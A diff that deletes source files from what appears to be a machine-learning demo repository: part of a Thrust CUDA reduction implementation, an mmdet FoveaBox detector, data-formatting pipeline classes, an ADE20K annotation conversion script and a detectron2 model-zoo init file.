-      grid_queue.FillAndResetDrain(num_items);
-    }
-  };    // struct DrainAgent;
-
-
-  template <class InputIt,
-            class OutputIt,
-            class Size,
-            class ReductionOp,
-            class T>
-  cudaError_t THRUST_RUNTIME_FUNCTION
-  doit_step(void *       d_temp_storage,
-            size_t &     temp_storage_bytes,
-            InputIt      input_it,
-            Size         num_items,
-            T            init,
-            ReductionOp  reduction_op,
-            OutputIt     output_it,
-            cudaStream_t stream,
-            bool         debug_sync)
-  {
-    using core::AgentPlan;
-    using core::AgentLauncher;
-    using core::get_agent_plan;
-    using core::cuda_optional;
-
-    typedef typename detail::make_unsigned_special<Size>::type UnsignedSize;
-
-    if (num_items == 0)
-      return cudaErrorNotSupported;
-
-    typedef AgentLauncher<
-        ReduceAgent<InputIt, OutputIt, T, Size, ReductionOp> >
-        reduce_agent;
-
-    typename reduce_agent::Plan reduce_plan = reduce_agent::get_plan(stream);
-
-    cudaError_t status = cudaSuccess;
-
-
-    if (num_items <= reduce_plan.items_per_tile)
-    {
-      size_t vshmem_size = core::vshmem_size(reduce_plan.shared_memory_size, 1);
-
-      // small, single tile size
-      if (d_temp_storage == NULL)
-      {
-        temp_storage_bytes = max<size_t>(1, vshmem_size);
-        return status;
-      }
-      char *vshmem_ptr = vshmem_size > 0 ? (char*)d_temp_storage : NULL;
-
-      reduce_agent ra(reduce_plan, num_items, stream, vshmem_ptr, "reduce_agent: single_tile only", debug_sync);
-      ra.launch(input_it, output_it, num_items, reduction_op, init);
-      CUDA_CUB_RET_IF_FAIL(cudaPeekAtLastError());
-    }
-    else
-    {
-      // regular size
-      cuda_optional<int> sm_count = core::get_sm_count();
-      CUDA_CUB_RET_IF_FAIL(sm_count.status());
-
-      // reduction will not use more cta counts than requested
-      cuda_optional<int> max_blocks_per_sm =
-          reduce_agent::
-              template get_max_blocks_per_sm<InputIt,
-                                             OutputIt,
-                                             Size,
-                                             cub::GridEvenShare<Size>,
-                                             cub::GridQueue<UnsignedSize>,
-                                             ReductionOp>(reduce_plan);
-      CUDA_CUB_RET_IF_FAIL(max_blocks_per_sm.status());
-
-
-
-      int reduce_device_occupancy = (int)max_blocks_per_sm * sm_count;
-
-      int sm_oversubscription = 5;
-      int max_blocks          = reduce_device_occupancy * sm_oversubscription;
-
-      cub::GridEvenShare<Size> even_share;
-      even_share.DispatchInit(static_cast<int>(num_items), max_blocks,
-                              reduce_plan.items_per_tile);
-
-      // we will launch at most "max_blocks" blocks in a grid
-      // so preallocate virtual shared memory storage for this if required
-      //
-      size_t vshmem_size = core::vshmem_size(reduce_plan.shared_memory_size,
-                                             max_blocks);
-
-      // Temporary storage allocation requirements
-      void * allocations[3] = {NULL, NULL, NULL};
-      size_t allocation_sizes[3] =
-          {
-              max_blocks * sizeof(T),                            // bytes needed for privatized block reductions
-              cub::GridQueue<UnsignedSize>::AllocationSize(),    // bytes needed for grid queue descriptor0
-              vshmem_size                                        // size of virtualized shared memory storage
-          };
-      status = cub::AliasTemporaries(d_temp_storage,
-                                     temp_storage_bytes,
-                                     allocations,
-                                     allocation_sizes);
-      CUDA_CUB_RET_IF_FAIL(status);
-      if (d_temp_storage == NULL)
-      {
-        return status;
-      }
-
-      T *d_block_reductions = (T*) allocations[0];
-      cub::GridQueue<UnsignedSize> queue(allocations[1]);
-      char *vshmem_ptr = vshmem_size > 0 ? (char *)allocations[2] : NULL;
-
-
-      // Get grid size for device_reduce_sweep_kernel
-      int reduce_grid_size = 0;
-      if (reduce_plan.grid_mapping == cub::GRID_MAPPING_RAKE)
-      {
-        // Work is distributed evenly
-        reduce_grid_size = even_share.grid_size;
-      }
-      else if (reduce_plan.grid_mapping == cub::GRID_MAPPING_DYNAMIC)
-      {
-        // Work is distributed dynamically
-        size_t num_tiles = (num_items + reduce_plan.items_per_tile - 1) /
-          reduce_plan.items_per_tile;
-
-        // if not enough to fill the device with threadblocks
-        // then fill the device with threadblocks
-        reduce_grid_size = static_cast<int>(min(num_tiles, static_cast<size_t>(reduce_device_occupancy)));
-
-        typedef AgentLauncher<DrainAgent<Size> > drain_agent;
-        AgentPlan drain_plan = drain_agent::get_plan();
-        drain_plan.grid_size = 1;
-        drain_agent da(drain_plan, stream, "__reduce::drain_agent", debug_sync);
-        da.launch(queue, num_items);
-        CUDA_CUB_RET_IF_FAIL(cudaPeekAtLastError());
-      }
-      else
-      {
-        CUDA_CUB_RET_IF_FAIL(cudaErrorNotSupported);
-      }
-
-      reduce_plan.grid_size = reduce_grid_size;
-      reduce_agent ra(reduce_plan, stream, vshmem_ptr, "reduce_agent: regular size reduce", debug_sync);
-      ra.launch(input_it,
-                d_block_reductions,
-                num_items,
-                even_share,
-                queue,
-                reduction_op);
-      CUDA_CUB_RET_IF_FAIL(cudaPeekAtLastError());
-
-
-      typedef AgentLauncher<
-        ReduceAgent<T*, OutputIt, T, Size, ReductionOp> >
-        reduce_agent_single;
-
-      reduce_plan.grid_size = 1;
-      reduce_agent_single ra1(reduce_plan, stream, vshmem_ptr, "reduce_agent: single tile reduce", debug_sync);
-
-      ra1.launch(d_block_reductions, output_it, reduce_grid_size, reduction_op, init);
-      CUDA_CUB_RET_IF_FAIL(cudaPeekAtLastError());
-    }
-
-    return status;
-  }    // func doit_step
-
-
-  template <typename Derived,
-            typename InputIt,
-            typename Size,
-            typename T,
-            typename BinaryOp>
-  THRUST_RUNTIME_FUNCTION
-  T reduce(execution_policy<Derived>& policy,
-           InputIt                    first,
-           Size                       num_items,
-           T                          init,
-           BinaryOp                   binary_op)
-  {
-    if (num_items == 0)
-      return init;
-
-    size_t       temp_storage_bytes = 0;
-    cudaStream_t stream             = cuda_cub::stream(policy);
-    bool         debug_sync         = THRUST_DEBUG_SYNC_FLAG;
-
-    cudaError_t status;
-    status = doit_step(NULL,
-                       temp_storage_bytes,
-                       first,
-                       num_items,
-                       init,
-                       binary_op,
-                       reinterpret_cast<T*>(NULL),
-                       stream,
-                       debug_sync);
-    cuda_cub::throw_on_error(status, "reduce failed on 1st step");
-
-    size_t allocation_sizes[2] = {sizeof(T*), temp_storage_bytes};
-    void * allocations[2]      = {NULL, NULL};
-
-    size_t storage_size = 0;
-    status = core::alias_storage(NULL,
-                                 storage_size,
-                                 allocations,
-                                 allocation_sizes);
-    cuda_cub::throw_on_error(status, "reduce failed on 1st alias_storage");
-
-    // Allocate temporary storage.
-    thrust::detail::temporary_array<thrust::detail::uint8_t, Derived>
-      tmp(policy, storage_size);
-    void *ptr = static_cast<void*>(tmp.data().get());
-
-    status = core::alias_storage(ptr,
-                                 storage_size,
-                                 allocations,
-                                 allocation_sizes);
-    cuda_cub::throw_on_error(status, "reduce failed on 2nd alias_storage");
-
-    T* d_result = thrust::detail::aligned_reinterpret_cast<T*>(allocations[0]);
-
-    status = doit_step(allocations[1],
-                       temp_storage_bytes,
-                       first,
-                       num_items,
-                       init,
-                       binary_op,
-                       d_result,
-                       stream,
-                       debug_sync);
-    cuda_cub::throw_on_error(status, "reduce failed on 2nd step");
-
-    status = cuda_cub::synchronize(policy);
-    cuda_cub::throw_on_error(status, "reduce failed to synchronize");
-
-    T result = cuda_cub::get_value(policy, d_result);
-
-    return result;
-  }
-}    // namespace __reduce
-
-namespace detail {
-
-template <typename Derived,
-          typename InputIt,
-          typename Size,
-          typename T,
-          typename BinaryOp>
-THRUST_RUNTIME_FUNCTION
-T reduce_n_impl(execution_policy<Derived>& policy,
-                InputIt                    first,
-                Size                       num_items,
-                T                          init,
-                BinaryOp                   binary_op)
-{
-  cudaStream_t stream = cuda_cub::stream(policy);
-  cudaError_t status;
-
-  // Determine temporary device storage requirements.
-
-  size_t tmp_size = 0;
-
-  THRUST_INDEX_TYPE_DISPATCH2(status,
-    cub::DeviceReduce::Reduce,
-    (cub::DispatchReduce<
-        InputIt, T*, Size, BinaryOp
-    >::Dispatch),
-    num_items,
-    (NULL, tmp_size, first, reinterpret_cast<T*>(NULL),
-        num_items_fixed, binary_op, init, stream,
-        THRUST_DEBUG_SYNC_FLAG));
-  cuda_cub::throw_on_error(status, "after reduction step 1");
-
-  // Allocate temporary storage.
-
-  thrust::detail::temporary_array<thrust::detail::uint8_t, Derived>
-    tmp(policy, sizeof(T) + tmp_size);
-
-  // Run reduction.
-
-  // `tmp.begin()` yields a `normal_iterator`, which dereferences to a
-  // `reference`, which has an `operator&` that returns a `pointer`, which
-  // has a `.get` method that returns a raw pointer, which we can (finally)
-  // `static_cast` to `void*`.
-  //
-  // The array was dynamically allocated, so we assume that it's suitably
-  // aligned for any type of data. `malloc`/`cudaMalloc`/`new`/`std::allocator`
-  // make this guarantee.
-  T* ret_ptr = thrust::detail::aligned_reinterpret_cast<T*>(tmp.data().get());
-  void* tmp_ptr = static_cast<void*>((tmp.data() + sizeof(T)).get());
-  THRUST_INDEX_TYPE_DISPATCH2(status,
-    cub::DeviceReduce::Reduce,
-    (cub::DispatchReduce<
-        InputIt, T*, Size, BinaryOp
-    >::Dispatch),
-    num_items,
-    (tmp_ptr, tmp_size, first, ret_ptr,
-        num_items_fixed, binary_op, init, stream,
-        THRUST_DEBUG_SYNC_FLAG));
-  cuda_cub::throw_on_error(status, "after reduction step 2");
-
-  // Synchronize the stream and get the value.
-
-  cuda_cub::throw_on_error(cuda_cub::synchronize(policy),
-    "reduce failed to synchronize");
-
-  // `tmp.begin()` yields a `normal_iterator`, which dereferences to a
-  // `reference`, which has an `operator&` that returns a `pointer`, which
-  // has a `.get` method that returns a raw pointer, which we can (finally)
-  // `static_cast` to `void*`.
-  //
-  // The array was dynamically allocated, so we assume that it's suitably
-  // aligned for any type of data. `malloc`/`cudaMalloc`/`new`/`std::allocator`
-  // make this guarantee.
-  return thrust::cuda_cub::get_value(policy,
-    thrust::detail::aligned_reinterpret_cast<T*>(tmp.data().get()));
-}
-
-} // namespace detail
-
-//-------------------------
-// Thrust API entry points
-//-------------------------
-
-__thrust_exec_check_disable__
-template <typename Derived,
-          typename InputIt,
-          typename Size,
-          typename T,
-          typename BinaryOp>
-__host__ __device__
-T reduce_n(execution_policy<Derived>& policy,
-           InputIt                    first,
-           Size                       num_items,
-           T                          init,
-           BinaryOp                   binary_op)
-{
-  if (__THRUST_HAS_CUDART__)
-    return thrust::cuda_cub::detail::reduce_n_impl(
-      policy, first, num_items, init, binary_op);
-
-  #if !__THRUST_HAS_CUDART__
-    return thrust::reduce(
-      cvt_to_seq(derived_cast(policy)), first, first + num_items, init, binary_op);
-  #endif
-}
-
-template <class Derived, class InputIt, class T, class BinaryOp>
-__host__ __device__
-T reduce(execution_policy<Derived> &policy,
-         InputIt                    first,
-         InputIt                    last,
-         T                          init,
-         BinaryOp                   binary_op)
-{
-  typedef typename iterator_traits<InputIt>::difference_type size_type;
-  // FIXME: Check for RA iterator.
-  size_type num_items = static_cast<size_type>(thrust::distance(first, last));
-  return cuda_cub::reduce_n(policy, first, num_items, init, binary_op);
-}
-
-template <class Derived,
-          class InputIt,
-          class T>
-__host__ __device__
-T reduce(execution_policy<Derived> &policy,
-         InputIt                    first,
-         InputIt                    last,
-         T                          init)
-{
-  return cuda_cub::reduce(policy, first, last, init, plus<T>());
-}
-
-template <class Derived,
-          class InputIt>
-__host__ __device__
-typename iterator_traits<InputIt>::value_type
-reduce(execution_policy<Derived> &policy,
-       InputIt                    first,
-       InputIt                    last)
-{
-  typedef typename iterator_traits<InputIt>::value_type value_type;
-  return cuda_cub::reduce(policy, first, last, value_type(0));
-}
-
-
-} // namespace cuda_cub
-
-} // end namespace thrust
-
-#include <thrust/memory.h>
-#include <thrust/reduce.h>
-
-#endif

spaces/CVPR/WALT/mmdet/models/detectors/fovea.py

@@ -1,17 +0,0 @@
-from ..builder import DETECTORS
-from .single_stage import SingleStageDetector
-
-
-@DETECTORS.register_module()
-class FOVEA(SingleStageDetector):
-    """Implementation of `FoveaBox <https://arxiv.org/abs/1904.03797>`_"""
-
-    def __init__(self,
-                 backbone,
-                 neck,
-                 bbox_head,
-                 train_cfg=None,
-                 test_cfg=None,
-                 pretrained=None):
-        super(FOVEA, self).__init__(backbone, neck, bbox_head, train_cfg,
-                                    test_cfg, pretrained)

spaces/CVPR/WALT/walt/datasets/pipelines/__init__.py

@@ -1,25 +0,0 @@
-from .auto_augment import (AutoAugment, BrightnessTransform, ColorTransform,
-                           ContrastTransform, EqualizeTransform, Rotate, Shear,
-                           Translate)
-from .compose import Compose
-from .formating import (Collect, DefaultFormatBundle, ImageToTensor,
-                        ToDataContainer, ToTensor, Transpose, to_tensor)
-from .instaboost import InstaBoost
-from .loading import (LoadAnnotations, LoadImageFromFile, LoadImageFromWebcam,
-                      LoadMultiChannelImageFromFiles, LoadProposals)
-from .test_time_aug import MultiScaleFlipAug
-from .transforms import (Albu, CutOut, Expand, MinIoURandomCrop, Normalize,
-                         Pad, PhotoMetricDistortion, RandomCenterCropPad,
-                         RandomCrop, RandomFlip, Resize, SegRescale)
-
-__all__ = [
-    'Compose', 'to_tensor', 'ToTensor', 'ImageToTensor', 'ToDataContainer',
-    'Transpose', 'Collect', 'DefaultFormatBundle', 'LoadAnnotations',
-    'LoadImageFromFile', 'LoadImageFromWebcam',
-    'LoadMultiChannelImageFromFiles', 'LoadProposals', 'MultiScaleFlipAug',
-    'Resize', 'RandomFlip', 'Pad', 'RandomCrop', 'Normalize', 'SegRescale',
-    'MinIoURandomCrop', 'Expand', 'PhotoMetricDistortion', 'Albu',
-    'InstaBoost', 'RandomCenterCropPad', 'AutoAugment', 'CutOut', 'Shear',
-    'Rotate', 'ColorTransform', 'EqualizeTransform', 'BrightnessTransform',
-    'ContrastTransform', 'Translate'
-]

spaces/CVPR/WALT/walt/datasets/pipelines/formating.py

@@ -1,366 +0,0 @@
-from collections.abc import Sequence
-
-import mmcv
-import numpy as np
-import torch
-from mmcv.parallel import DataContainer as DC
-
-from ..builder import PIPELINES
-
-
-def to_tensor(data):
-    """Convert objects of various python types to :obj:`torch.Tensor`.
-
-    Supported types are: :class:`numpy.ndarray`, :class:`torch.Tensor`,
-    :class:`Sequence`, :class:`int` and :class:`float`.
-
-    Args:
-        data (torch.Tensor | numpy.ndarray | Sequence | int | float): Data to
-            be converted.
-    """
-
-    if isinstance(data, torch.Tensor):
-        return data
-    elif isinstance(data, np.ndarray):
-        return torch.from_numpy(data)
-    elif isinstance(data, Sequence) and not mmcv.is_str(data):
-        return torch.tensor(data)
-    elif isinstance(data, int):
-        return torch.LongTensor([data])
-    elif isinstance(data, float):
-        return torch.FloatTensor([data])
-    else:
-        raise TypeError(f'type {type(data)} cannot be converted to tensor.')
-
-
-@PIPELINES.register_module()
-class ToTensor(object):
-    """Convert some results to :obj:`torch.Tensor` by given keys.
-
-    Args:
-        keys (Sequence[str]): Keys that need to be converted to Tensor.
-    """
-
-    def __init__(self, keys):
-        self.keys = keys
-
-    def __call__(self, results):
-        """Call function to convert data in results to :obj:`torch.Tensor`.
-
-        Args:
-            results (dict): Result dict contains the data to convert.
-
-        Returns:
-            dict: The result dict contains the data converted
-                to :obj:`torch.Tensor`.
-        """
-        for key in self.keys:
-            results[key] = to_tensor(results[key])
-        return results
-
-    def __repr__(self):
-        return self.__class__.__name__ + f'(keys={self.keys})'
-
-
-@PIPELINES.register_module()
-class ImageToTensor(object):
-    """Convert image to :obj:`torch.Tensor` by given keys.
-
-    The dimension order of input image is (H, W, C). The pipeline will convert
-    it to (C, H, W). If only 2 dimension (H, W) is given, the output would be
-    (1, H, W).
-
-    Args:
-        keys (Sequence[str]): Key of images to be converted to Tensor.
-    """
-
-    def __init__(self, keys):
-        self.keys = keys
-
-    def __call__(self, results):
-        """Call function to convert image in results to :obj:`torch.Tensor` and
-        transpose the channel order.
-
-        Args:
-            results (dict): Result dict contains the image data to convert.
-
-        Returns:
-            dict: The result dict contains the image converted
-                to :obj:`torch.Tensor` and transposed to (C, H, W) order.
-        """
-        for key in self.keys:
-            img = results[key]
-            if len(img.shape) < 3:
-                img = np.expand_dims(img, -1)
-            results[key] = to_tensor(img.transpose(2, 0, 1))
-        return results
-
-    def __repr__(self):
-        return self.__class__.__name__ + f'(keys={self.keys})'
-
-
-@PIPELINES.register_module()
-class Transpose(object):
-    """Transpose some results by given keys.
-
-    Args:
-        keys (Sequence[str]): Keys of results to be transposed.
-        order (Sequence[int]): Order of transpose.
-    """
-
-    def __init__(self, keys, order):
-        self.keys = keys
-        self.order = order
-
-    def __call__(self, results):
-        """Call function to transpose the channel order of data in results.
-
-        Args:
-            results (dict): Result dict contains the data to transpose.
-
-        Returns:
-            dict: The result dict contains the data transposed to \
-                ``self.order``.
-        """
-        for key in self.keys:
-            results[key] = results[key].transpose(self.order)
-        return results
-
-    def __repr__(self):
-        return self.__class__.__name__ + \
-            f'(keys={self.keys}, order={self.order})'
-
-
-@PIPELINES.register_module()
-class ToDataContainer(object):
-    """Convert results to :obj:`mmcv.DataContainer` by given fields.
-
-    Args:
-        fields (Sequence[dict]): Each field is a dict like
-            ``dict(key='xxx', **kwargs)``. The ``key`` in result will
-            be converted to :obj:`mmcv.DataContainer` with ``**kwargs``.
-            Default: ``(dict(key='img', stack=True), dict(key='gt_bboxes'),
-            dict(key='gt_labels'))``.
-    """
-
-    def __init__(self,
-                 fields=(dict(key='img', stack=True), dict(key='gt_bboxes'),
-                         dict(key='gt_labels'))):
-        self.fields = fields
-
-    def __call__(self, results):
-        """Call function to convert data in results to
-        :obj:`mmcv.DataContainer`.
-
-        Args:
-            results (dict): Result dict contains the data to convert.
-
-        Returns:
-            dict: The result dict contains the data converted to \
-                :obj:`mmcv.DataContainer`.
-        """
-
-        for field in self.fields:
-            field = field.copy()
-            key = field.pop('key')
-            results[key] = DC(results[key], **field)
-        return results
-
-    def __repr__(self):
-        return self.__class__.__name__ + f'(fields={self.fields})'
-
-
-@PIPELINES.register_module()
-class DefaultFormatBundle(object):
-    """Default formatting bundle.
-
-    It simplifies the pipeline of formatting common fields, including "img",
-    "proposals", "gt_bboxes", "gt_labels", "gt_masks" and "gt_semantic_seg".
-    These fields are formatted as follows.
-
-    - img: (1)transpose, (2)to tensor, (3)to DataContainer (stack=True)
-    - proposals: (1)to tensor, (2)to DataContainer
-    - gt_bboxes: (1)to tensor, (2)to DataContainer
-    - gt_bboxes_ignore: (1)to tensor, (2)to DataContainer
-    - gt_labels: (1)to tensor, (2)to DataContainer
-    - gt_masks: (1)to tensor, (2)to DataContainer (cpu_only=True)
-    - gt_semantic_seg: (1)unsqueeze dim-0 (2)to tensor, \
-                       (3)to DataContainer (stack=True)
-    """
-
-    def __call__(self, results):
-        """Call function to transform and format common fields in results.
-
-        Args:
-            results (dict): Result dict contains the data to convert.
-
-        Returns:
-            dict: The result dict contains the data that is formatted with \
-                default bundle.
-        """
-
-        if 'img' in results:
-            img = results['img']
-            # add default meta keys
-            results = self._add_default_meta_keys(results)
-            if len(img.shape) < 3:
-                img = np.expand_dims(img, -1)
-            img = np.ascontiguousarray(img.transpose(2, 0, 1))
-            results['img'] = DC(to_tensor(img), stack=True)
-        for key in ['proposals', 'gt_bboxes', 'gt_bboxes_ignore', 'gt_labels','gt_bboxes_3d', 'gt_bboxes_3d_proj']:
-            if key not in results:
-                continue
-            results[key] = DC(to_tensor(results[key]))
-        if 'gt_bboxes_3d' in results:
-            results['gt_bboxes_3d'] = DC(results['gt_bboxes_3d'], cpu_only=True)
-        if 'gt_masks' in results:
-            results['gt_masks'] = DC(results['gt_masks'], cpu_only=True)
-        if 'gt_semantic_seg' in results:
-            results['gt_semantic_seg'] = DC(
-                to_tensor(results['gt_semantic_seg'][None, ...]), stack=True)
-        return results
-
-    def _add_default_meta_keys(self, results):
-        """Add default meta keys.
-
-        We set default meta keys including `pad_shape`, `scale_factor` and
-        `img_norm_cfg` to avoid the case where no `Resize`, `Normalize` and
-        `Pad` are implemented during the whole pipeline.
-
-        Args:
-            results (dict): Result dict contains the data to convert.
-
-        Returns:
-            results (dict): Updated result dict contains the data to convert.
-        """
-        img = results['img']
-        results.setdefault('pad_shape', img.shape)
-        results.setdefault('scale_factor', 1.0)
-        num_channels = 1 if len(img.shape) < 3 else img.shape[2]
-        results.setdefault(
-            'img_norm_cfg',
-            dict(
-                mean=np.zeros(num_channels, dtype=np.float32),
-                std=np.ones(num_channels, dtype=np.float32),
-                to_rgb=False))
-        return results
-
-    def __repr__(self):
-        return self.__class__.__name__
-
-
-@PIPELINES.register_module()
-class Collect(object):
-    """Collect data from the loader relevant to the specific task.
-
-    This is usually the last stage of the data loader pipeline. Typically keys
-    is set to some subset of "img", "proposals", "gt_bboxes",
-    "gt_bboxes_ignore", "gt_labels", and/or "gt_masks".
-
-    The "img_meta" item is always populated.  The contents of the "img_meta"
-    dictionary depends on "meta_keys". By default this includes:
-
-        - "img_shape": shape of the image input to the network as a tuple \
-            (h, w, c).  Note that images may be zero padded on the \
-            bottom/right if the batch tensor is larger than this shape.
-
-        - "scale_factor": a float indicating the preprocessing scale
-
-        - "flip": a boolean indicating if image flip transform was used
-
-        - "filename": path to the image file
-
-        - "ori_shape": original shape of the image as a tuple (h, w, c)
-
-        - "pad_shape": image shape after padding
-
-        - "img_norm_cfg": a dict of normalization information:
-
-            - mean - per channel mean subtraction
-            - std - per channel std divisor
-            - to_rgb - bool indicating if bgr was converted to rgb
-
-    Args:
-        keys (Sequence[str]): Keys of results to be collected in ``data``.
-        meta_keys (Sequence[str], optional): Meta keys to be converted to
-            ``mmcv.DataContainer`` and collected in ``data[img_metas]``.
-            Default: ``('filename', 'ori_filename', 'ori_shape', 'img_shape',
-            'pad_shape', 'scale_factor', 'flip', 'flip_direction',
-            'img_norm_cfg')``
-    """
-
-    def __init__(self,
-                 keys,
-                 meta_keys=('filename', 'ori_filename', 'ori_shape',
-                            'img_shape', 'pad_shape', 'scale_factor', 'flip',
-                            'flip_direction', 'img_norm_cfg')):
-        self.keys = keys
-        self.meta_keys = meta_keys
-
-    def __call__(self, results):
-        """Call function to collect keys in results. The keys in ``meta_keys``
-        will be converted to :obj:mmcv.DataContainer.
-
-        Args:
-            results (dict): Result dict contains the data to collect.
-
-        Returns:
-            dict: The result dict contains the following keys
-
-                - keys in``self.keys``
-                - ``img_metas``
-        """
-
-        data = {}
-        img_meta = {}
-        for key in self.meta_keys:
-            img_meta[key] = results[key]
-        data['img_metas'] = DC(img_meta, cpu_only=True)
-        for key in self.keys:
-            data[key] = results[key]
-        return data
-
-    def __repr__(self):
-        return self.__class__.__name__ + \
-            f'(keys={self.keys}, meta_keys={self.meta_keys})'
-
-
-@PIPELINES.register_module()
-class WrapFieldsToLists(object):
-    """Wrap fields of the data dictionary into lists for evaluation.
-
-    This class can be used as a last step of a test or validation
-    pipeline for single image evaluation or inference.
-
-    Example:
-        >>> test_pipeline = [
-        >>>    dict(type='LoadImageFromFile'),
-        >>>    dict(type='Normalize',
-                    mean=[123.675, 116.28, 103.53],
-                    std=[58.395, 57.12, 57.375],
-                    to_rgb=True),
-        >>>    dict(type='Pad', size_divisor=32),
-        >>>    dict(type='ImageToTensor', keys=['img']),
-        >>>    dict(type='Collect', keys=['img']),
-        >>>    dict(type='WrapFieldsToLists')
-        >>> ]
-    """
-
-    def __call__(self, results):
-        """Call function to wrap fields into lists.
-
-        Args:
-            results (dict): Result dict contains the data to wrap.
-
-        Returns:
-            dict: The result dict where value of ``self.keys`` are wrapped \
-                into list.
-        """
-
-        # Wrap dict fields into lists
-        for key, val in results.items():
-            results[key] = [val]
-        return results
-
-    def __repr__(self):
-        return f'{self.__class__.__name__}()'

spaces/CVPR/regionclip-demo/datasets/prepare_ade20k_sem_seg.py

@@ -1,26 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-# Copyright (c) Facebook, Inc. and its affiliates.
-import numpy as np
-import os
-from pathlib import Path
-import tqdm
-from PIL import Image
-
-
-def convert(input, output):
-    img = np.asarray(Image.open(input))
-    assert img.dtype == np.uint8
-    img = img - 1  # 0 (ignore) becomes 255. others are shifted by 1
-    Image.fromarray(img).save(output)
-
-
-if __name__ == "__main__":
-    dataset_dir = Path(os.getenv("DETECTRON2_DATASETS", "datasets")) / "ADEChallengeData2016"
-    for name in ["training", "validation"]:
-        annotation_dir = dataset_dir / "annotations" / name
-        output_dir = dataset_dir / "annotations_detectron2" / name
-        output_dir.mkdir(parents=True, exist_ok=True)
-        for file in tqdm.tqdm(list(annotation_dir.iterdir())):
-            output_file = output_dir / file.name
-            convert(file, output_file)

spaces/CVPR/regionclip-demo/detectron2/model_zoo/__init__.py

@@ -1,10 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-"""
-Model Zoo API for Detectron2: a collection of functions to create common model architectures
-listed in `MODEL_ZOO.md <https://github.com/facebookresearch/detectron2/blob/master/MODEL_ZOO.md>`_,
-and optionally load their pre-trained weights.
-"""
-
-from .model_zoo import get, get_config_file, get_checkpoint_url, get_config
-
-__all__ = ["get_checkpoint_url", "get", "get_config_file", "get_config"]